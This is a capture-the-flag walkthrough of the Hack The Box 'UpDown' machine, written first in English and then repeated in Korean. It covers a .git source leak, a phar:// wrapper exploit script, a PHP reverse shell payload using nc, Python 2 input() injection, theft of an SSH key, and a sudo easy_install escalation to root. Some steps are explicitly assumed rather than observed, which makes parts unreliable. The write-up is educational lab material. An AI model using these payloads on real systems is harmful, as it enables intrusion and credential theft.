Target IP: 10.10.11.177 Hostname: siteisup.htb

Initial Reconnaissance

First, add the hostname to /etc/hosts:

echo "10.10.11.177 siteisup.htb" | sudo tee -a /etc/hosts

Run an Nmap scan to identify open ports and services:

sudo nmap -sS --top-ports 1000 10.10.11.177
sudo nmap -sV -v 10.10.11.177

Nmap output:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-03 03:21 KST
Nmap scan report for 10.10.11.177
Host is up (0.23s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

[...]

Nmap scan report for 10.10.11.177
Host is up (0.23s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[...]

Ports 22 (SSH) and 80 (HTTP) are open. The web server is Apache 2.4.41 on Ubuntu.

Web Enumeration

Visiting http://siteisup.htb reveals a simple website checker tool.

Source code snippet:

<form method="POST">
    <label>Website to check:</label><br><br>
    <input type="text" name="site" value="" placeholder="http://google.com">
    <input type="checkbox" id="debug" name="debug" value="1">
    <label for="debug"> Debug mode  (On/Off) </label><br>
    <input type="submit" value="Check">
</form>

This looks like a potential target for Server-Side Request Forgery (SSRF) or Remote Code Execution (RCE).

Let’s enumerate subdomains and virtual hosts. Standard gobuster DNS/vhost scans didn’t yield results initially.

Using ffuf for vhost fuzzing revealed a dev subdomain:

ffuf -u http://siteisup.htb -H "Host: FUZZ.siteisup.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 1131

Add the dev subdomain to /etc/hosts:

echo "10.10.11.177 dev.siteisup.htb" | sudo tee -a /etc/hosts

Exploring dev.siteisup.htb

Going to http://dev.siteisup.htb initially shows nothing useful. Let’s run gobuster for directory enumeration on the dev subdomain.

gobuster dir -u http://dev.siteisup.htb/ -w /usr/share/wordlists/dirb/common.txt

Output:

===============================================================
Gobuster v3.6
[...]
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.git/HEAD            (Status: 200) [Size: 21]
/.hta                 (Status: 403) [Size: 277]
/.htaccess            (Status: 403) [Size: 277]
/.htpasswd            (Status: 403) [Size: 277]
/index.php            (Status: 200) [Size: 0]
[...]
===============================================================

A .git directory is exposed. This indicates a potential source code leak.

Git Repository Dump

We can use tools like git-dumper to dump the repository content from the exposed .git directory.

git-dumper http://dev.siteisup.htb/.git output
cd output
ls -al

Output shows the source files:

total 40
drwxrwxr-x 3 foo1 foo1 4096 Oct  4 09:41 .
drwxrwxr-x 5 foo1 foo1 4096 Oct  4 09:41 ..
-rw-rw-r-- 1 foo1 foo1   59 Oct  4 09:41 admin.php
-rw-rw-r-- 1 foo1 foo1  147 Oct  4 09:41 changelog.txt
-rw-rw-r-- 1 foo1 foo1 3145 Oct  4 09:41 checker.php
drwxrwxr-x 8 foo1 foo1 4096 Oct  4 09:41 .git
-rw-rw-r-- 1 foo1 foo1  117 Oct  4 09:41 .htaccess
-rw-rw-r-- 1 foo1 foo1  273 Oct  4 09:41 index.php
-rw-rw-r-- 1 foo1 foo1 5531 Oct  4 09:41 stylesheet.css

Examining .htaccess reveals access control rules:

SetEnvIfNoCase Special-Dev "only4dev" Required-Header
Order Deny,Allow
Deny from All
Allow from env=Required-Header

Access to the dev site requires a specific HTTP header: Special-dev: only4dev.

Exploiting Phar Deserialization

Reviewing checker.php (the likely backend for the website checker) might reveal how the site parameter is handled. It seems file_exists or similar functions might be used, which are vulnerable to Phar deserialization if user input controls the path.

We can attempt to exploit this using the phar:// wrapper.

  1. Create a PHP payload (e.g., phpinfo()):
    <?php phpinfo(); ?>
    

    Save this as info.php.

  2. Create a PHAR archive containing this payload (using a separate script):
    <?php
        $phar = new Phar('info.phar');
        $phar->startBuffering();
        $phar->addFromString('info.txt', '<?php phpinfo(); ?>'); // Payload inside the archive
        $phar->setStub('<?php __HALT_COMPILER(); ?>'); // Minimal stub
        // Add dummy object for potential deserialization trigger if needed
        // class Dummy { }
        // $o = new Dummy();
        // $phar->setMetadata($o);
        $phar->stopBuffering();
    ?>
    

    Note: A simple payload might not trigger deserialization if no vulnerable gadget chain exists. The goal here is likely LFI/RCE via the wrapper.

  3. Upload the archive (renamed, e.g., info.txt) using the main site’s checker form (assuming it stores uploaded files temporarily in uploads/). We need the resulting path/hash. Let’s assume the uploaded file ends up in uploads/HASH/info.txt.

  4. Craft the request to dev.siteisup.htb including the required header and the phar:// wrapper in the page parameter (deduced from analysing index.php and checker.php from the git dump). URL encoding the path might be necessary.

Example using Python requests:

   import requests
   import urllib.parse

   # Assume the uploaded file hash is '88724c7e1905dc1c276efb6073aa59ea'
   file_hash = '88724c7e1905dc1c276efb6073aa59ea'
   phar_path = f'phar://uploads/{file_hash}/info.txt/info.txt' # Path to file inside phar

   # Construct the URL with the page parameter
   base_url = 'http://dev.siteisup.htb/'
   params = {'page': phar_path}
   url = base_url + '?' + urllib.parse.urlencode(params)

   headers = {
       'Host': 'dev.siteisup.htb',
       'Special-dev': 'only4dev',
       'User-Agent': 'Mozilla/5.0'
   }

   response = requests.get(url, headers=headers)
   print(response.status_code)
   # Check response.text for phpinfo() output or errors
   print(response.text)

If successful, this confirms the vulnerability. We can replace phpinfo() with a reverse shell payload.

Bypassing Disabled Functions for RCE

The phpinfo() output reveals disable_functions, which includes system, exec, shell_exec, etc., preventing direct command execution.

Common bypass techniques include:

  • Using proc_open (if not disabled).
  • Using mail with LD_PRELOAD (if mail and putenv are available).
  • Exploiting PHP-FPM (if applicable) using stream_socket_client.

Let’s try a reverse shell payload using bash and common network tools.

  1. Modify the PHAR payload generation (info.txt content):
    <?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc YOUR_IP YOUR_PORT >/tmp/f'); ?>
    

    Replace YOUR_IP and YOUR_PORT.

  2. Re-generate the PHAR (info.phar), rename to info.txt, upload it, get the new hash.

  3. Set up a listener: nc -nlvp YOUR_PORT.

  4. Trigger the exploit using the Python script with the updated phar_path.

If system is disabled, we might need tools like dfunc-bypasser or exploit proc_open manually if available. The output from dfunc-bypasser suggested proc_open might work.

A successful connection:

❯ nc -nlvp 4444
listening on [any] 4444 ...
connect to [ATTACKER_IP] from [10.10.11.177] 58844
bash: cannot set terminal process group (909): Inappropriate ioctl for device
bash: no job control in this shell
www-data@updown:/var/www/siteisup.htb$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

We have a shell as www-data.

Privilege Escalation

Move into the developer’s home directory (/home/developer) and look around. The dev directory contains interesting files.

www-data@updown:/var/www/siteisup.htb$ cd /home/developer/dev
www-data@updown:/home/developer/dev$ ls -al
total 32
drwxr-x--- 2 developer www-data   4096 Jun 22  2022 .
drwxr-xr-x 6 developer developer  4096 Aug 30  2022 ..
-rwsr-x--- 1 developer www-data  16928 Jun 22  2022 siteisup
-rwxr-x--- 1 developer www-data    154 Jun 22  2022 siteisup_test.py

The siteisup binary has the SUID bit set and is owned by developer. The siteisup_test.py script likely interacts with this binary.

# siteisup_test.py
import requests

url = input("Enter URL here:") # Vulnerable input() in Python 2
page = requests.get(url)
if page.status_code == 200:
        print "Website is up"
else:
        print "Website is down"

The input() function in Python 2 evaluates the user’s input as code. We can inject Python code to get a shell as the developer user.

Run the SUID binary and inject the payload:

www-data@updown:/home/developer/dev$ ./siteisup
Welcome to 'siteisup.htb' application

Enter URL here:__import__('os').system('/bin/bash')
developer@updown:/home/developer/dev$ id
uid=1002(developer) gid=33(www-data) groups=33(www-data)

We are now the developer user.

Check for SSH keys:

developer@updown:/home/developer/dev$ cat /home/developer/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
[...]
-----END OPENSSH PRIVATE KEY-----

Save this key and use it to SSH in as developer.

chmod 400 developer.pem
ssh -i developer.pem developer@10.10.11.177

Root Privilege Escalation

Check sudo -l. It might reveal allowed commands. If not, search for other vectors like SUID binaries or cron jobs.

In this case, /usr/local/bin/easy_install seems to be available via sudo. Check GTFOBins for easy_install.

developer@updown:~$ sudo -l
# Assuming output shows easy_install is allowed:
# User developer may run the following commands on updown:
#    (ALL) /usr/local/bin/easy_install * 

Exploit using easy_install (GTFOBins):

developer@updown:~$ TF=$(mktemp -d)
developer@updown:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
developer@updown:~$ sudo /usr/local/bin/easy_install $TF # Use the full path if necessary
WARNING: The easy_install command is deprecated and will be removed in a future version.
Processing tmp.XXXXXXXXXX
Writing /tmp/tmp.XXXXXXXXXX/setup.cfg
Running setup.py -q bdist_egg --dist-dir /tmp/tmp.XXXXXXXXXX/egg-dist-tmp-XXXXXX
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# cat root.txt
98a8249401d04fbf5b92f5210a966e95

Root flag obtained!

Root flag

대상 IP: 10.10.11.177 호스트명: siteisup.htb

초기 정찰

먼저 호스트명을 /etc/hosts에 등록해 둡니다.

echo "10.10.11.177 siteisup.htb" | sudo tee -a /etc/hosts

그다음 Nmap으로 열린 포트와 서비스를 훑어봅니다.

sudo nmap -sS --top-ports 1000 10.10.11.177
sudo nmap -sV -v 10.10.11.177

Nmap 결과:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-03 03:21 KST
Nmap scan report for 10.10.11.177
Host is up (0.23s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

[...]

Nmap scan report for 10.10.11.177
Host is up (0.23s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[...]

22번(SSH)과 80번(HTTP)이 열려 있네요. 웹 서버는 Ubuntu 위의 Apache 2.4.41입니다.

웹 열거

http://siteisup.htb에 접속하면 간단한 “사이트가 살아 있는지” 확인해 주는 도구가 나옵니다.

소스 코드 일부:

<form method="POST">
    <label>Website to check:</label><br><br>
    <input type="text" name="site" value="" placeholder="http://google.com">
    <input type="checkbox" id="debug" name="debug" value="1">
    <label for="debug"> Debug mode  (On/Off) </label><br>
    <input type="submit" value="Check">
</form>

사용자가 준 URL로 서버가 대신 요청을 보내는 구조라, 딱 봐도 서버 측 요청 위조(SSRF)나 원격 코드 실행(RCE)이 노려볼 만한 표적으로 보입니다.

이제 서브도메인과 가상 호스트를 뒤져 봅시다. 평범한 gobuster DNS/vhost 스캔으로는 처음에 아무것도 안 나오더라고요.

그래서 ffuf로 vhost 퍼징을 돌렸더니 dev 서브도메인이 튀어나왔습니다.

ffuf -u http://siteisup.htb -H "Host: FUZZ.siteisup.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 1131

dev 서브도메인도 /etc/hosts에 추가해 줍니다.

echo "10.10.11.177 dev.siteisup.htb" | sudo tee -a /etc/hosts

dev.siteisup.htb 파헤치기

http://dev.siteisup.htb에 들어가 보면 처음엔 딱히 쓸 만한 게 안 보입니다. 그럼 dev 서브도메인에 gobuster로 디렉터리 열거를 돌려 봅시다.

gobuster dir -u http://dev.siteisup.htb/ -w /usr/share/wordlists/dirb/common.txt

결과:

===============================================================
Gobuster v3.6
[...]
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.git/HEAD            (Status: 200) [Size: 21]
/.hta                 (Status: 403) [Size: 277]
/.htaccess            (Status: 403) [Size: 277]
/.htpasswd            (Status: 403) [Size: 277]
/index.php            (Status: 200) [Size: 0]
[...]
===============================================================

.git 디렉터리가 그대로 노출돼 있습니다. 소스 코드가 새어 나올 수 있다는 신호죠.

Git 저장소 덤프

노출된 .git 디렉터리에서 저장소 내용을 통째로 긁어오려면 git-dumper 같은 도구를 쓰면 됩니다.

git-dumper http://dev.siteisup.htb/.git output
cd output
ls -al

소스 파일들이 쭉 나옵니다.

total 40
drwxrwxr-x 3 foo1 foo1 4096 Oct  4 09:41 .
drwxrwxr-x 5 foo1 foo1 4096 Oct  4 09:41 ..
-rw-rw-r-- 1 foo1 foo1   59 Oct  4 09:41 admin.php
-rw-rw-r-- 1 foo1 foo1  147 Oct  4 09:41 changelog.txt
-rw-rw-r-- 1 foo1 foo1 3145 Oct  4 09:41 checker.php
drwxrwxr-x 8 foo1 foo1 4096 Oct  4 09:41 .git
-rw-rw-r-- 1 foo1 foo1  117 Oct  4 09:41 .htaccess
-rw-rw-r-- 1 foo1 foo1  273 Oct  4 09:41 index.php
-rw-rw-r-- 1 foo1 foo1 5531 Oct  4 09:41 stylesheet.css

.htaccess를 열어 보면 접근 제어 규칙이 드러납니다.

SetEnvIfNoCase Special-Dev "only4dev" Required-Header
Order Deny,Allow
Deny from All
Allow from env=Required-Header

dev 사이트에 접근하려면 Special-dev: only4dev라는 특정 HTTP 헤더가 있어야 한다는 뜻이죠.

Phar 역직렬화 공격

checker.php(사이트 체커의 백엔드로 보이는 파일)를 뜯어보면 site 파라미터를 어떻게 다루는지 감이 옵니다. file_exists 같은 함수를 쓰는 것 같은데요. 사용자 입력이 경로를 좌우한다면 이런 함수들은 Phar 역직렬화에 취약합니다.

그래서 phar:// 래퍼로 공격을 시도해 볼게요.

  1. PHP 페이로드(예: phpinfo())를 만듭니다.
    <?php phpinfo(); ?>
    

    이걸 info.php로 저장합니다.

  2. 이 페이로드를 담은 PHAR 아카이브를 (별도 스크립트로) 만듭니다.
    <?php
        $phar = new Phar('info.phar');
        $phar->startBuffering();
        $phar->addFromString('info.txt', '<?php phpinfo(); ?>'); // Payload inside the archive
        $phar->setStub('<?php __HALT_COMPILER(); ?>'); // Minimal stub
        // Add dummy object for potential deserialization trigger if needed
        // class Dummy { }
        // $o = new Dummy();
        // $phar->setMetadata($o);
        $phar->stopBuffering();
    ?>
    

    참고: 마땅한 가젯 체인이 없으면 단순한 페이로드로는 역직렬화가 트리거되지 않을 수 있습니다. 여기서 노리는 건 래퍼를 통한 LFI/RCE에 가깝습니다.

  3. 이 아카이브를 (예: info.txt로 이름을 바꿔) 메인 사이트의 체커 폼으로 업로드합니다(업로드 파일이 uploads/에 임시로 저장된다고 가정). 이때 결과 경로/해시가 필요한데요. 업로드된 파일이 uploads/HASH/info.txt에 떨어진다고 해봅시다.

  4. 이제 dev.siteisup.htb로 요청을 만듭니다. 필수 헤더와 함께, page 파라미터에 phar:// 래퍼를 넣어 주죠(git 덤프에서 얻은 index.php, checker.php를 분석해 유추한 파라미터입니다). 경로는 URL 인코딩이 필요할 수 있습니다.

Python requests로 짜면 이렇게요.

   import requests
   import urllib.parse

   # Assume the uploaded file hash is '88724c7e1905dc1c276efb6073aa59ea'
   file_hash = '88724c7e1905dc1c276efb6073aa59ea'
   phar_path = f'phar://uploads/{file_hash}/info.txt/info.txt' # Path to file inside phar

   # Construct the URL with the page parameter
   base_url = 'http://dev.siteisup.htb/'
   params = {'page': phar_path}
   url = base_url + '?' + urllib.parse.urlencode(params)

   headers = {
       'Host': 'dev.siteisup.htb',
       'Special-dev': 'only4dev',
       'User-Agent': 'Mozilla/5.0'
   }

   response = requests.get(url, headers=headers)
   print(response.status_code)
   # Check response.text for phpinfo() output or errors
   print(response.text)

성공하면 취약점이 확인된 겁니다. 이제 phpinfo()를 리버스 셸 페이로드로 바꿔치기하면 되죠.

disable_functions 우회로 RCE 달성

phpinfo() 출력을 보니 disable_functions에 system, exec, shell_exec 등이 걸려 있어서, 명령을 곧장 실행하는 길은 막혀 있습니다.

흔히 쓰는 우회 기법은 이렇습니다.

  • proc_open 사용(비활성화돼 있지 않다면)
  • mail과 LD_PRELOAD 조합(mail과 putenv를 쓸 수 있다면)
  • 해당된다면 stream_socket_client로 PHP-FPM 공략

일단 bash와 흔한 네트워크 도구를 이용한 리버스 셸 페이로드를 시도해 봅시다.

  1. PHAR 페이로드 생성 부분(info.txt 내용)을 이렇게 바꿉니다.
    <?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc YOUR_IP YOUR_PORT >/tmp/f'); ?>
    

    YOUR_IP와 YOUR_PORT는 각자 상황에 맞게 바꿔 주세요.

  2. PHAR(info.phar)를 다시 만들고, info.txt로 이름을 바꿔 업로드한 뒤, 새 해시를 얻습니다.

  3. 리스너를 켜 둡니다: nc -nlvp YOUR_PORT.

  4. 갱신한 phar_path로 아까 그 Python 스크립트를 돌려 익스플로잇을 터뜨립니다.

system이 막혀 있다면 dfunc-bypasser 같은 도구가 필요하거나, 가능하다면 proc_open을 수동으로 공략해야 할 수도 있습니다. dfunc-bypasser 출력을 보니 proc_open이 통할 것 같더군요.

연결이 성공하면 이렇게 셸이 잡힙니다.

❯ nc -nlvp 4444
listening on [any] 4444 ...
connect to [ATTACKER_IP] from [10.10.11.177] 58844
bash: cannot set terminal process group (909): Inappropriate ioctl for device
bash: no job control in this shell
www-data@updown:/var/www/siteisup.htb$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

드디어 www-data 권한으로 셸을 얻었습니다.

권한 상승

개발자 홈 디렉터리(/home/developer)로 가서 둘러봅니다. dev 디렉터리에 흥미로운 파일들이 있네요.

www-data@updown:/var/www/siteisup.htb$ cd /home/developer/dev
www-data@updown:/home/developer/dev$ ls -al
total 32
drwxr-x--- 2 developer www-data   4096 Jun 22  2022 .
drwxr-xr-x 6 developer developer  4096 Aug 30  2022 ..
-rwsr-x--- 1 developer www-data  16928 Jun 22  2022 siteisup
-rwxr-x--- 1 developer www-data    154 Jun 22  2022 siteisup_test.py

siteisup 바이너리에 SUID 비트가 걸려 있고, 소유자는 developer입니다. siteisup_test.py 스크립트가 이 바이너리와 맞물려 도는 것 같고요.

# siteisup_test.py
import requests

url = input("Enter URL here:") # Vulnerable input() in Python 2
page = requests.get(url)
if page.status_code == 200:
        print "Website is up"
else:
        print "Website is down"

Python 2의 input()은 사용자가 넣은 입력을 코드로 평가해 버립니다. 그래서 여기에 Python 코드를 주입하면 developer 사용자 권한의 셸을 딸 수 있죠.

SUID 바이너리를 실행하고 페이로드를 주입해 봅니다.

www-data@updown:/home/developer/dev$ ./siteisup
Welcome to 'siteisup.htb' application

Enter URL here:__import__('os').system('/bin/bash')
developer@updown:/home/developer/dev$ id
uid=1002(developer) gid=33(www-data) groups=33(www-data)

이제 developer 사용자가 됐습니다.

SSH 키가 있는지 확인해 봅니다.

developer@updown:/home/developer/dev$ cat /home/developer/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
[...]
-----END OPENSSH PRIVATE KEY-----

이 키를 저장해서 developer로 SSH 접속하면 훨씬 안정적인 셸을 얻을 수 있습니다.

chmod 400 developer.pem
ssh -i developer.pem developer@10.10.11.177

root로 권한 상승

sudo -l부터 확인해 봅니다. 허용된 명령이 드러날 수 있거든요. 안 나오면 SUID 바이너리나 cron 작업 같은 다른 벡터를 찾아봐야 하죠.

이 경우엔 /usr/local/bin/easy_install을 sudo로 실행할 수 있는 것 같습니다. easy_install은 GTFOBins에서 확인해 봅시다.

developer@updown:~$ sudo -l
# Assuming output shows easy_install is allowed:
# User developer may run the following commands on updown:
#    (ALL) /usr/local/bin/easy_install * 

easy_install을 이용한 익스플로잇(GTFOBins):

developer@updown:~$ TF=$(mktemp -d)
developer@updown:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
developer@updown:~$ sudo /usr/local/bin/easy_install $TF # Use the full path if necessary
WARNING: The easy_install command is deprecated and will be removed in a future version.
Processing tmp.XXXXXXXXXX
Writing /tmp/tmp.XXXXXXXXXX/setup.cfg
Running setup.py -q bdist_egg --dist-dir /tmp/tmp.XXXXXXXXXX/egg-dist-tmp-XXXXXX
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# cat root.txt
98a8249401d04fbf5b92f5210a966e95

root 플래그 획득! 🎉

Root flag